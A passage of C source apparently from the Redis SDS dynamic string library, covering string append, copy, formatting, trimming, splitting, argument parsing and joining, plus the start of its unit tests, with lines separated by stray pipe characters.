||||
case SDS_TYPE_16: {
|
||||
SDS_HDR_VAR(16,s);
|
||||
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
|
||||
len = (sh->len += incr);
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_32: {
|
||||
SDS_HDR_VAR(32,s);
|
||||
assert((incr >= 0 && sh->alloc-sh->len >= (unsigned int)incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
|
||||
len = (sh->len += incr);
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_64: {
|
||||
SDS_HDR_VAR(64,s);
|
||||
assert((incr >= 0 && sh->alloc-sh->len >= (uint64_t)incr) || (incr < 0 && sh->len >= (uint64_t)(-incr)));
|
||||
len = (sh->len += incr);
|
||||
break;
|
||||
}
|
||||
default: len = 0; /* Just to avoid compilation warnings. */
|
||||
}
|
||||
s[len] = '\0';
|
||||
}
|
||||
|
||||
/* Grow the sds to have the specified length. Bytes that were not part of
|
||||
* the original length of the sds will be set to zero.
|
||||
*
|
||||
* if the specified length is smaller than the current length, no operation
|
||||
* is performed. */
|
||||
sds sdsgrowzero(sds s, size_t len) {
|
||||
size_t curlen = sdslen(s);
|
||||
|
||||
if (len <= curlen) return s;
|
||||
s = sdsMakeRoomFor(s,len-curlen);
|
||||
if (s == NULL) return NULL;
|
||||
|
||||
/* Make sure added region doesn't contain garbage */
|
||||
memset(s+curlen,0,(len-curlen+1)); /* also set trailing \0 byte */
|
||||
sdssetlen(s, len);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Append the specified binary-safe string pointed by 't' of 'len' bytes to the
|
||||
* end of the specified sds string 's'.
|
||||
*
|
||||
* After the call, the passed sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call. */
|
||||
sds sdscatlen(sds s, const void *t, size_t len) {
|
||||
size_t curlen = sdslen(s);
|
||||
|
||||
s = sdsMakeRoomFor(s,len);
|
||||
if (s == NULL) return NULL;
|
||||
memcpy(s+curlen, t, len);
|
||||
sdssetlen(s, curlen+len);
|
||||
s[curlen+len] = '\0';
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Append the specified null termianted C string to the sds string 's'.
|
||||
*
|
||||
* After the call, the passed sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call. */
|
||||
sds sdscat(sds s, const char *t) {
|
||||
return sdscatlen(s, t, strlen(t));
|
||||
}
|
||||
|
||||
/* Append the specified sds 't' to the existing sds 's'.
|
||||
*
|
||||
* After the call, the modified sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call. */
|
||||
sds sdscatsds(sds s, const sds t) {
|
||||
return sdscatlen(s, t, sdslen(t));
|
||||
}
|
||||
|
||||
/* Destructively modify the sds string 's' to hold the specified binary
|
||||
* safe string pointed by 't' of length 'len' bytes. */
|
||||
sds sdscpylen(sds s, const char *t, size_t len) {
|
||||
if (sdsalloc(s) < len) {
|
||||
s = sdsMakeRoomFor(s,len-sdslen(s));
|
||||
if (s == NULL) return NULL;
|
||||
}
|
||||
memcpy(s, t, len);
|
||||
s[len] = '\0';
|
||||
sdssetlen(s, len);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Like sdscpylen() but 't' must be a null-termined string so that the length
|
||||
* of the string is obtained with strlen(). */
|
||||
sds sdscpy(sds s, const char *t) {
|
||||
return sdscpylen(s, t, strlen(t));
|
||||
}
|
||||
|
||||
/* Helper for sdscatlonglong() doing the actual number -> string
|
||||
* conversion. 's' must point to a string with room for at least
|
||||
* SDS_LLSTR_SIZE bytes.
|
||||
*
|
||||
* The function returns the length of the null-terminated string
|
||||
* representation stored at 's'. */
|
||||
#define SDS_LLSTR_SIZE 21
|
||||
int sdsll2str(char *s, long long value) {
|
||||
char *p, aux;
|
||||
unsigned long long v;
|
||||
size_t l;
|
||||
|
||||
/* Generate the string representation, this method produces
|
||||
* an reversed string. */
|
||||
v = (value < 0) ? -value : value;
|
||||
p = s;
|
||||
do {
|
||||
*p++ = '0'+(v%10);
|
||||
v /= 10;
|
||||
} while(v);
|
||||
if (value < 0) *p++ = '-';
|
||||
|
||||
/* Compute length and add null term. */
|
||||
l = p-s;
|
||||
*p = '\0';
|
||||
|
||||
/* Reverse the string. */
|
||||
p--;
|
||||
while(s < p) {
|
||||
aux = *s;
|
||||
*s = *p;
|
||||
*p = aux;
|
||||
s++;
|
||||
p--;
|
||||
}
|
||||
return l;
|
||||
}
|
||||
|
||||
/* Identical sdsll2str(), but for unsigned long long type. */
|
||||
int sdsull2str(char *s, unsigned long long v) {
|
||||
char *p, aux;
|
||||
size_t l;
|
||||
|
||||
/* Generate the string representation, this method produces
|
||||
* an reversed string. */
|
||||
p = s;
|
||||
do {
|
||||
*p++ = '0'+(v%10);
|
||||
v /= 10;
|
||||
} while(v);
|
||||
|
||||
/* Compute length and add null term. */
|
||||
l = p-s;
|
||||
*p = '\0';
|
||||
|
||||
/* Reverse the string. */
|
||||
p--;
|
||||
while(s < p) {
|
||||
aux = *s;
|
||||
*s = *p;
|
||||
*p = aux;
|
||||
s++;
|
||||
p--;
|
||||
}
|
||||
return l;
|
||||
}
|
||||
|
||||
/* Create an sds string from a long long value. It is much faster than:
|
||||
*
|
||||
* sdscatprintf(sdsempty(),"%lld\n", value);
|
||||
*/
|
||||
sds sdsfromlonglong(long long value) {
|
||||
char buf[SDS_LLSTR_SIZE];
|
||||
int len = sdsll2str(buf,value);
|
||||
|
||||
return sdsnewlen(buf,len);
|
||||
}
|
||||
|
||||
/* Like sdscatprintf() but gets va_list instead of being variadic. */
|
||||
sds sdscatvprintf(sds s, const char *fmt, va_list ap) {
|
||||
va_list cpy;
|
||||
char staticbuf[1024], *buf = staticbuf, *t;
|
||||
size_t buflen = strlen(fmt)*2;
|
||||
|
||||
/* We try to start using a static buffer for speed.
|
||||
* If not possible we revert to heap allocation. */
|
||||
if (buflen > sizeof(staticbuf)) {
|
||||
buf = s_malloc(buflen);
|
||||
if (buf == NULL) return NULL;
|
||||
} else {
|
||||
buflen = sizeof(staticbuf);
|
||||
}
|
||||
|
||||
/* Try with buffers two times bigger every time we fail to
|
||||
* fit the string in the current buffer size. */
|
||||
while(1) {
|
||||
buf[buflen-2] = '\0';
|
||||
va_copy(cpy,ap);
|
||||
vsnprintf(buf, buflen, fmt, cpy);
|
||||
va_end(cpy);
|
||||
if (buf[buflen-2] != '\0') {
|
||||
if (buf != staticbuf) s_free(buf);
|
||||
buflen *= 2;
|
||||
buf = s_malloc(buflen);
|
||||
if (buf == NULL) return NULL;
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
/* Finally concat the obtained string to the SDS string and return it. */
|
||||
t = sdscat(s, buf);
|
||||
if (buf != staticbuf) s_free(buf);
|
||||
return t;
|
||||
}
|
||||
|
||||
/* Append to the sds string 's' a string obtained using printf-alike format
|
||||
* specifier.
|
||||
*
|
||||
* After the call, the modified sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* s = sdsnew("Sum is: ");
|
||||
* s = sdscatprintf(s,"%d+%d = %d",a,b,a+b).
|
||||
*
|
||||
* Often you need to create a string from scratch with the printf-alike
|
||||
* format. When this is the need, just use sdsempty() as the target string:
|
||||
*
|
||||
* s = sdscatprintf(sdsempty(), "... your format ...", args);
|
||||
*/
|
||||
sds sdscatprintf(sds s, const char *fmt, ...) {
|
||||
va_list ap;
|
||||
char *t;
|
||||
va_start(ap, fmt);
|
||||
t = sdscatvprintf(s,fmt,ap);
|
||||
va_end(ap);
|
||||
return t;
|
||||
}
|
||||
|
||||
/* This function is similar to sdscatprintf, but much faster as it does
|
||||
* not rely on sprintf() family functions implemented by the libc that
|
||||
* are often very slow. Moreover directly handling the sds string as
|
||||
* new data is concatenated provides a performance improvement.
|
||||
*
|
||||
* However this function only handles an incompatible subset of printf-alike
|
||||
* format specifiers:
|
||||
*
|
||||
* %s - C String
|
||||
* %S - SDS string
|
||||
* %i - signed int
|
||||
* %I - 64 bit signed integer (long long, int64_t)
|
||||
* %u - unsigned int
|
||||
* %U - 64 bit unsigned integer (unsigned long long, uint64_t)
|
||||
* %% - Verbatim "%" character.
|
||||
*/
|
||||
sds sdscatfmt(sds s, char const *fmt, ...) {
|
||||
size_t initlen = sdslen(s);
|
||||
const char *f = fmt;
|
||||
int i;
|
||||
va_list ap;
|
||||
|
||||
va_start(ap,fmt);
|
||||
f = fmt; /* Next format specifier byte to process. */
|
||||
i = initlen; /* Position of the next byte to write to dest str. */
|
||||
while(*f) {
|
||||
char next, *str;
|
||||
size_t l;
|
||||
long long num;
|
||||
unsigned long long unum;
|
||||
|
||||
/* Make sure there is always space for at least 1 char. */
|
||||
if (sdsavail(s)==0) {
|
||||
s = sdsMakeRoomFor(s,1);
|
||||
}
|
||||
|
||||
switch(*f) {
|
||||
case '%':
|
||||
next = *(f+1);
|
||||
f++;
|
||||
switch(next) {
|
||||
case 's':
|
||||
case 'S':
|
||||
str = va_arg(ap,char*);
|
||||
l = (next == 's') ? strlen(str) : sdslen(str);
|
||||
if (sdsavail(s) < l) {
|
||||
s = sdsMakeRoomFor(s,l);
|
||||
}
|
||||
memcpy(s+i,str,l);
|
||||
sdsinclen(s,l);
|
||||
i += l;
|
||||
break;
|
||||
case 'i':
|
||||
case 'I':
|
||||
if (next == 'i')
|
||||
num = va_arg(ap,int);
|
||||
else
|
||||
num = va_arg(ap,long long);
|
||||
{
|
||||
char buf[SDS_LLSTR_SIZE];
|
||||
l = sdsll2str(buf,num);
|
||||
if (sdsavail(s) < l) {
|
||||
s = sdsMakeRoomFor(s,l);
|
||||
}
|
||||
memcpy(s+i,buf,l);
|
||||
sdsinclen(s,l);
|
||||
i += l;
|
||||
}
|
||||
break;
|
||||
case 'u':
|
||||
case 'U':
|
||||
if (next == 'u')
|
||||
unum = va_arg(ap,unsigned int);
|
||||
else
|
||||
unum = va_arg(ap,unsigned long long);
|
||||
{
|
||||
char buf[SDS_LLSTR_SIZE];
|
||||
l = sdsull2str(buf,unum);
|
||||
if (sdsavail(s) < l) {
|
||||
s = sdsMakeRoomFor(s,l);
|
||||
}
|
||||
memcpy(s+i,buf,l);
|
||||
sdsinclen(s,l);
|
||||
i += l;
|
||||
}
|
||||
break;
|
||||
default: /* Handle %% and generally %<unknown>. */
|
||||
s[i++] = next;
|
||||
sdsinclen(s,1);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
s[i++] = *f;
|
||||
sdsinclen(s,1);
|
||||
break;
|
||||
}
|
||||
f++;
|
||||
}
|
||||
va_end(ap);
|
||||
|
||||
/* Add null-term */
|
||||
s[i] = '\0';
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Remove the part of the string from left and from right composed just of
|
||||
* contiguous characters found in 'cset', that is a null terminted C string.
|
||||
*
|
||||
* After the call, the modified sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* s = sdsnew("AA...AA.a.aa.aHelloWorld :::");
|
||||
* s = sdstrim(s,"Aa. :");
|
||||
* printf("%s\n", s);
|
||||
*
|
||||
* Output will be just "Hello World".
|
||||
*/
|
||||
sds sdstrim(sds s, const char *cset) {
|
||||
char *start, *end, *sp, *ep;
|
||||
size_t len;
|
||||
|
||||
sp = start = s;
|
||||
ep = end = s+sdslen(s)-1;
|
||||
while(sp <= end && strchr(cset, *sp)) sp++;
|
||||
while(ep > sp && strchr(cset, *ep)) ep--;
|
||||
len = (sp > ep) ? 0 : ((ep-sp)+1);
|
||||
if (s != sp) memmove(s, sp, len);
|
||||
s[len] = '\0';
|
||||
sdssetlen(s,len);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Turn the string into a smaller (or equal) string containing only the
|
||||
* substring specified by the 'start' and 'end' indexes.
|
||||
*
|
||||
* start and end can be negative, where -1 means the last character of the
|
||||
* string, -2 the penultimate character, and so forth.
|
||||
*
|
||||
* The interval is inclusive, so the start and end characters will be part
|
||||
* of the resulting string.
|
||||
*
|
||||
* The string is modified in-place.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* s = sdsnew("Hello World");
|
||||
* sdsrange(s,1,-1); => "ello World"
|
||||
*/
|
||||
void sdsrange(sds s, int start, int end) {
|
||||
size_t newlen, len = sdslen(s);
|
||||
|
||||
if (len == 0) return;
|
||||
if (start < 0) {
|
||||
start = len+start;
|
||||
if (start < 0) start = 0;
|
||||
}
|
||||
if (end < 0) {
|
||||
end = len+end;
|
||||
if (end < 0) end = 0;
|
||||
}
|
||||
newlen = (start > end) ? 0 : (end-start)+1;
|
||||
if (newlen != 0) {
|
||||
if (start >= (signed)len) {
|
||||
newlen = 0;
|
||||
} else if (end >= (signed)len) {
|
||||
end = len-1;
|
||||
newlen = (start > end) ? 0 : (end-start)+1;
|
||||
}
|
||||
} else {
|
||||
start = 0;
|
||||
}
|
||||
if (start && newlen) memmove(s, s+start, newlen);
|
||||
s[newlen] = 0;
|
||||
sdssetlen(s,newlen);
|
||||
}
|
||||
|
||||
/* Apply tolower() to every character of the sds string 's'. */
|
||||
void sdstolower(sds s) {
|
||||
int len = sdslen(s), j;
|
||||
|
||||
for (j = 0; j < len; j++) s[j] = tolower(s[j]);
|
||||
}
|
||||
|
||||
/* Apply toupper() to every character of the sds string 's'. */
|
||||
void sdstoupper(sds s) {
|
||||
int len = sdslen(s), j;
|
||||
|
||||
for (j = 0; j < len; j++) s[j] = toupper(s[j]);
|
||||
}
|
||||
|
||||
/* Compare two sds strings s1 and s2 with memcmp().
|
||||
*
|
||||
* Return value:
|
||||
*
|
||||
* positive if s1 > s2.
|
||||
* negative if s1 < s2.
|
||||
* 0 if s1 and s2 are exactly the same binary string.
|
||||
*
|
||||
* If two strings share exactly the same prefix, but one of the two has
|
||||
* additional characters, the longer string is considered to be greater than
|
||||
* the smaller one. */
|
||||
int sdscmp(const sds s1, const sds s2) {
|
||||
size_t l1, l2, minlen;
|
||||
int cmp;
|
||||
|
||||
l1 = sdslen(s1);
|
||||
l2 = sdslen(s2);
|
||||
minlen = (l1 < l2) ? l1 : l2;
|
||||
cmp = memcmp(s1,s2,minlen);
|
||||
if (cmp == 0) return l1-l2;
|
||||
return cmp;
|
||||
}
|
||||
|
||||
/* Split 's' with separator in 'sep'. An array
|
||||
* of sds strings is returned. *count will be set
|
||||
* by reference to the number of tokens returned.
|
||||
*
|
||||
* On out of memory, zero length string, zero length
|
||||
* separator, NULL is returned.
|
||||
*
|
||||
* Note that 'sep' is able to split a string using
|
||||
* a multi-character separator. For example
|
||||
* sdssplit("foo_-_bar","_-_"); will return two
|
||||
* elements "foo" and "bar".
|
||||
*
|
||||
* This version of the function is binary-safe but
|
||||
* requires length arguments. sdssplit() is just the
|
||||
* same function but for zero-terminated strings.
|
||||
*/
|
||||
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count) {
|
||||
int elements = 0, slots = 5, start = 0, j;
|
||||
sds *tokens;
|
||||
|
||||
if (seplen < 1 || len < 0) return NULL;
|
||||
|
||||
tokens = s_malloc(sizeof(sds)*slots);
|
||||
if (tokens == NULL) return NULL;
|
||||
|
||||
if (len == 0) {
|
||||
*count = 0;
|
||||
return tokens;
|
||||
}
|
||||
for (j = 0; j < (len-(seplen-1)); j++) {
|
||||
/* make sure there is room for the next element and the final one */
|
||||
if (slots < elements+2) {
|
||||
sds *newtokens;
|
||||
|
||||
slots *= 2;
|
||||
newtokens = s_realloc(tokens,sizeof(sds)*slots);
|
||||
if (newtokens == NULL) goto cleanup;
|
||||
tokens = newtokens;
|
||||
}
|
||||
/* search the separator */
|
||||
if ((seplen == 1 && *(s+j) == sep[0]) || (memcmp(s+j,sep,seplen) == 0)) {
|
||||
tokens[elements] = sdsnewlen(s+start,j-start);
|
||||
if (tokens[elements] == NULL) goto cleanup;
|
||||
elements++;
|
||||
start = j+seplen;
|
||||
j = j+seplen-1; /* skip the separator */
|
||||
}
|
||||
}
|
||||
/* Add the final element. We are sure there is room in the tokens array. */
|
||||
tokens[elements] = sdsnewlen(s+start,len-start);
|
||||
if (tokens[elements] == NULL) goto cleanup;
|
||||
elements++;
|
||||
*count = elements;
|
||||
return tokens;
|
||||
|
||||
cleanup:
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < elements; i++) sdsfree(tokens[i]);
|
||||
s_free(tokens);
|
||||
*count = 0;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
/* Free the result returned by sdssplitlen(), or do nothing if 'tokens' is NULL. */
|
||||
void sdsfreesplitres(sds *tokens, int count) {
|
||||
if (!tokens) return;
|
||||
while(count--)
|
||||
sdsfree(tokens[count]);
|
||||
s_free(tokens);
|
||||
}
|
||||
|
||||
/* Append to the sds string "s" an escaped string representation where
|
||||
* all the non-printable characters (tested with isprint()) are turned into
|
||||
* escapes in the form "\n\r\a...." or "\x<hex-number>".
|
||||
*
|
||||
* After the call, the modified sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call. */
|
||||
sds sdscatrepr(sds s, const char *p, size_t len) {
|
||||
s = sdscatlen(s,"\"",1);
|
||||
while(len--) {
|
||||
switch(*p) {
|
||||
case '\\':
|
||||
case '"':
|
||||
s = sdscatprintf(s,"\\%c",*p);
|
||||
break;
|
||||
case '\n': s = sdscatlen(s,"\\n",2); break;
|
||||
case '\r': s = sdscatlen(s,"\\r",2); break;
|
||||
case '\t': s = sdscatlen(s,"\\t",2); break;
|
||||
case '\a': s = sdscatlen(s,"\\a",2); break;
|
||||
case '\b': s = sdscatlen(s,"\\b",2); break;
|
||||
default:
|
||||
if (isprint(*p))
|
||||
s = sdscatprintf(s,"%c",*p);
|
||||
else
|
||||
s = sdscatprintf(s,"\\x%02x",(unsigned char)*p);
|
||||
break;
|
||||
}
|
||||
p++;
|
||||
}
|
||||
return sdscatlen(s,"\"",1);
|
||||
}
|
||||
|
||||
/* Helper function for sdssplitargs() that returns non zero if 'c'
|
||||
* is a valid hex digit. */
|
||||
int is_hex_digit(char c) {
|
||||
return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') ||
|
||||
(c >= 'A' && c <= 'F');
|
||||
}
|
||||
|
||||
/* Helper function for sdssplitargs() that converts a hex digit into an
|
||||
* integer from 0 to 15 */
|
||||
int hex_digit_to_int(char c) {
|
||||
switch(c) {
|
||||
case '0': return 0;
|
||||
case '1': return 1;
|
||||
case '2': return 2;
|
||||
case '3': return 3;
|
||||
case '4': return 4;
|
||||
case '5': return 5;
|
||||
case '6': return 6;
|
||||
case '7': return 7;
|
||||
case '8': return 8;
|
||||
case '9': return 9;
|
||||
case 'a': case 'A': return 10;
|
||||
case 'b': case 'B': return 11;
|
||||
case 'c': case 'C': return 12;
|
||||
case 'd': case 'D': return 13;
|
||||
case 'e': case 'E': return 14;
|
||||
case 'f': case 'F': return 15;
|
||||
default: return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Split a line into arguments, where every argument can be in the
|
||||
* following programming-language REPL-alike form:
|
||||
*
|
||||
* foo bar "newline are supported\n" and "\xff\x00otherstuff"
|
||||
*
|
||||
* The number of arguments is stored into *argc, and an array
|
||||
* of sds is returned.
|
||||
*
|
||||
* The caller should free the resulting array of sds strings with
|
||||
* sdsfreesplitres().
|
||||
*
|
||||
* Note that sdscatrepr() is able to convert back a string into
|
||||
* a quoted string in the same format sdssplitargs() is able to parse.
|
||||
*
|
||||
* The function returns the allocated tokens on success, even when the
|
||||
* input string is empty, or NULL if the input contains unbalanced
|
||||
* quotes or closed quotes followed by non space characters
|
||||
* as in: "foo"bar or "foo'
|
||||
*/
|
||||
sds *sdssplitargs(const char *line, int *argc) {
|
||||
const char *p = line;
|
||||
char *current = NULL;
|
||||
char **vector = NULL;
|
||||
|
||||
*argc = 0;
|
||||
while(1) {
|
||||
/* skip blanks */
|
||||
while(*p && isspace(*p)) p++;
|
||||
if (*p) {
|
||||
/* get a token */
|
||||
int inq=0; /* set to 1 if we are in "quotes" */
|
||||
int insq=0; /* set to 1 if we are in 'single quotes' */
|
||||
int done=0;
|
||||
|
||||
if (current == NULL) current = sdsempty();
|
||||
while(!done) {
|
||||
if (inq) {
|
||||
if (*p == '\\' && *(p+1) == 'x' &&
|
||||
is_hex_digit(*(p+2)) &&
|
||||
is_hex_digit(*(p+3)))
|
||||
{
|
||||
unsigned char byte;
|
||||
|
||||
byte = (hex_digit_to_int(*(p+2))*16)+
|
||||
hex_digit_to_int(*(p+3));
|
||||
current = sdscatlen(current,(char*)&byte,1);
|
||||
p += 3;
|
||||
} else if (*p == '\\' && *(p+1)) {
|
||||
char c;
|
||||
|
||||
p++;
|
||||
switch(*p) {
|
||||
case 'n': c = '\n'; break;
|
||||
case 'r': c = '\r'; break;
|
||||
case 't': c = '\t'; break;
|
||||
case 'b': c = '\b'; break;
|
||||
case 'a': c = '\a'; break;
|
||||
default: c = *p; break;
|
||||
}
|
||||
current = sdscatlen(current,&c,1);
|
||||
} else if (*p == '"') {
|
||||
/* closing quote must be followed by a space or
|
||||
* nothing at all. */
|
||||
if (*(p+1) && !isspace(*(p+1))) goto err;
|
||||
done=1;
|
||||
} else if (!*p) {
|
||||
/* unterminated quotes */
|
||||
goto err;
|
||||
} else {
|
||||
current = sdscatlen(current,p,1);
|
||||
}
|
||||
} else if (insq) {
|
||||
if (*p == '\\' && *(p+1) == '\'') {
|
||||
p++;
|
||||
current = sdscatlen(current,"'",1);
|
||||
} else if (*p == '\'') {
|
||||
/* closing quote must be followed by a space or
|
||||
* nothing at all. */
|
||||
if (*(p+1) && !isspace(*(p+1))) goto err;
|
||||
done=1;
|
||||
} else if (!*p) {
|
||||
/* unterminated quotes */
|
||||
goto err;
|
||||
} else {
|
||||
current = sdscatlen(current,p,1);
|
||||
}
|
||||
} else {
|
||||
switch(*p) {
|
||||
case ' ':
|
||||
case '\n':
|
||||
case '\r':
|
||||
case '\t':
|
||||
case '\0':
|
||||
done=1;
|
||||
break;
|
||||
case '"':
|
||||
inq=1;
|
||||
break;
|
||||
case '\'':
|
||||
insq=1;
|
||||
break;
|
||||
default:
|
||||
current = sdscatlen(current,p,1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (*p) p++;
|
||||
}
|
||||
/* add the token to the vector */
|
||||
vector = s_realloc(vector,((*argc)+1)*sizeof(char*));
|
||||
vector[*argc] = current;
|
||||
(*argc)++;
|
||||
current = NULL;
|
||||
} else {
|
||||
/* Even on empty input string return something not NULL. */
|
||||
if (vector == NULL) vector = s_malloc(sizeof(void*));
|
||||
return vector;
|
||||
}
|
||||
}
|
||||
|
||||
err:
|
||||
while((*argc)--)
|
||||
sdsfree(vector[*argc]);
|
||||
s_free(vector);
|
||||
if (current) sdsfree(current);
|
||||
*argc = 0;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Modify the string substituting all the occurrences of the set of
|
||||
* characters specified in the 'from' string to the corresponding character
|
||||
* in the 'to' array.
|
||||
*
|
||||
* For instance: sdsmapchars(mystring, "ho", "01", 2)
|
||||
* will have the effect of turning the string "hello" into "0ell1".
|
||||
*
|
||||
* The function returns the sds string pointer, that is always the same
|
||||
* as the input pointer since no resize is needed. */
|
||||
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen) {
|
||||
size_t j, i, l = sdslen(s);
|
||||
|
||||
for (j = 0; j < l; j++) {
|
||||
for (i = 0; i < setlen; i++) {
|
||||
if (s[j] == from[i]) {
|
||||
s[j] = to[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Join an array of C strings using the specified separator (also a C string).
|
||||
* Returns the result as an sds string. */
|
||||
sds sdsjoin(char **argv, int argc, char *sep) {
|
||||
sds join = sdsempty();
|
||||
int j;
|
||||
|
||||
for (j = 0; j < argc; j++) {
|
||||
join = sdscat(join, argv[j]);
|
||||
if (j != argc-1) join = sdscat(join,sep);
|
||||
}
|
||||
return join;
|
||||
}
|
||||
|
||||
/* Like sdsjoin, but joins an array of SDS strings. */
|
||||
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen) {
|
||||
sds join = sdsempty();
|
||||
int j;
|
||||
|
||||
for (j = 0; j < argc; j++) {
|
||||
join = sdscatsds(join, argv[j]);
|
||||
if (j != argc-1) join = sdscatlen(join,sep,seplen);
|
||||
}
|
||||
return join;
|
||||
}
|
||||
|
||||
/* Wrappers to the allocators used by SDS. Note that SDS will actually
|
||||
* just use the macros defined into sdsalloc.h in order to avoid to pay
|
||||
* the overhead of function calls. Here we define these wrappers only for
|
||||
* the programs SDS is linked to, if they want to touch the SDS internals
|
||||
* even if they use a different allocator. */
|
||||
void *sds_malloc(size_t size) { return s_malloc(size); }
|
||||
void *sds_realloc(void *ptr, size_t size) { return s_realloc(ptr,size); }
|
||||
void sds_free(void *ptr) { s_free(ptr); }
|
||||
|
||||
#if defined(SDS_TEST_MAIN)
|
||||
#include <stdio.h>
|
||||
#include "testhelp.h"
|
||||
#include "limits.h"
|
||||
|
||||
#define UNUSED(x) (void)(x)
|
||||
int sdsTest(void) {
|
||||
{
|
||||
sds x = sdsnew("foo"), y;
|
||||
|
||||
test_cond("Create a string and obtain the length",
|
||||
sdslen(x) == 3 && memcmp(x,"foo\0",4) == 0)
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnewlen("foo",2);
|
||||
test_cond("Create a string with specified length",
|
||||
sdslen(x) == 2 && memcmp(x,"fo\0",3) == 0)
|
||||
|
||||
x = sdscat(x,"bar");
|
||||
test_cond("Strings concatenation",
|
||||
sdslen(x) == 5 && memcmp(x,"fobar\0",6) == 0);
|
||||
|
||||
x = sdscpy(x,"a");
|
||||
test_cond("sdscpy() against an originally longer string",
|
||||
sdslen(x) == 1 && memcmp(x,"a\0",2) == 0)
|
||||
|
||||
x = sdscpy(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk");
|
||||
test_cond("sdscpy() against an originally shorter string",
|
||||
sdslen(x) == 33 &&
|
||||
memcmp(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk\0",33) == 0)
|
||||
|
||||
sdsfree(x);
|
||||
x = sdscatprintf(sdsempty(),"%d",123);
|
||||
test_cond("sdscatprintf() seems working in the base case",
|
||||
sdslen(x) == 3 && memcmp(x,"123\0",4) == 0)
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnew("--");
|
||||
x = sdscatfmt(x, "Hello %s World %I,%I--", "Hi!", LLONG_MIN,LLONG_MAX);
|
||||
test_cond("sdscatfmt() seems working in the base case",
|
||||
sdslen(x) == 60 &&
|
||||
memcmp(x,"--Hello Hi! World -9223372036854775808,"
|
||||
"9223372036854775807--",60) == 0)
|
||||
printf("[%s]\n",x);
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnew("--");
|
||||
x = sdscatfmt(x, "%u,%U--", UINT_MAX, ULLONG_MAX);
|
||||
test_cond("sdscatfmt() seems working with unsigned numbers",
|
||||
sdslen(x) == 35 &&
|
||||
memcmp(x,"--4294967295,18446744073709551615--",35) == 0)
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnew(" x ");
|
||||
sdstrim(x," x");
|
||||
test_cond("sdstrim() works when all chars match",
|
||||
sdslen(x) == 0)
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnew(" x ");
|
||||
sdstrim(x," ");
|
||||
test_cond("sdstrim() works when a single char remains",
|
||||
sdslen(x) == 1 && x[0] == 'x')
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnew("xxciaoyyy");
|
||||
sdstrim(x,"xy");
|
||||
test_cond("sdstrim() correctly trims characters",
|
||||
sdslen(x) == 4 && memcmp(x,"ciao\0",5) == 0)
|
||||
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,1,1);
|
||||
test_cond("sdsrange(...,1,1)",
|
||||
sdslen(y) == 1 && memcmp(y,"i\0",2) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,1,-1);
|
||||
test_cond("sdsrange(...,1,-1)",
|
||||
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,-2,-1);
|
||||
test_cond("sdsrange(...,-2,-1)",
|
||||
sdslen(y) == 2 && memcmp(y,"ao\0",3) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,2,1);
|
||||
test_cond("sdsrange(...,2,1)",
|
||||
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,1,100);
|
||||
test_cond("sdsrange(...,1,100)",
|
||||
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,100,100);
|
||||
test_cond("sdsrange(...,100,100)",
|
||||
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
sdsfree(x);
|
||||
x = sdsnew("foo");
|
||||
y = sdsnew("foa");
|
||||
test_cond("sdscmp(foo,foa)", sdscmp(x,y) > 0)
|
||||
|
||||
sdsfree(y);
|
||||
sdsfree(x);
|
||||
x = sdsnew("bar");
|
||||
y = sdsnew("bar");
|
||||
test_cond("sdscmp(bar,bar)", sdscmp(x,y) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
sdsfree(x);
|
||||
x = sdsnew("aar");
|
||||
y = sdsnew("bar");
|
||||
test_cond("sdscmp(bar,bar)", sdscmp(x,y) < 0)
|
||||
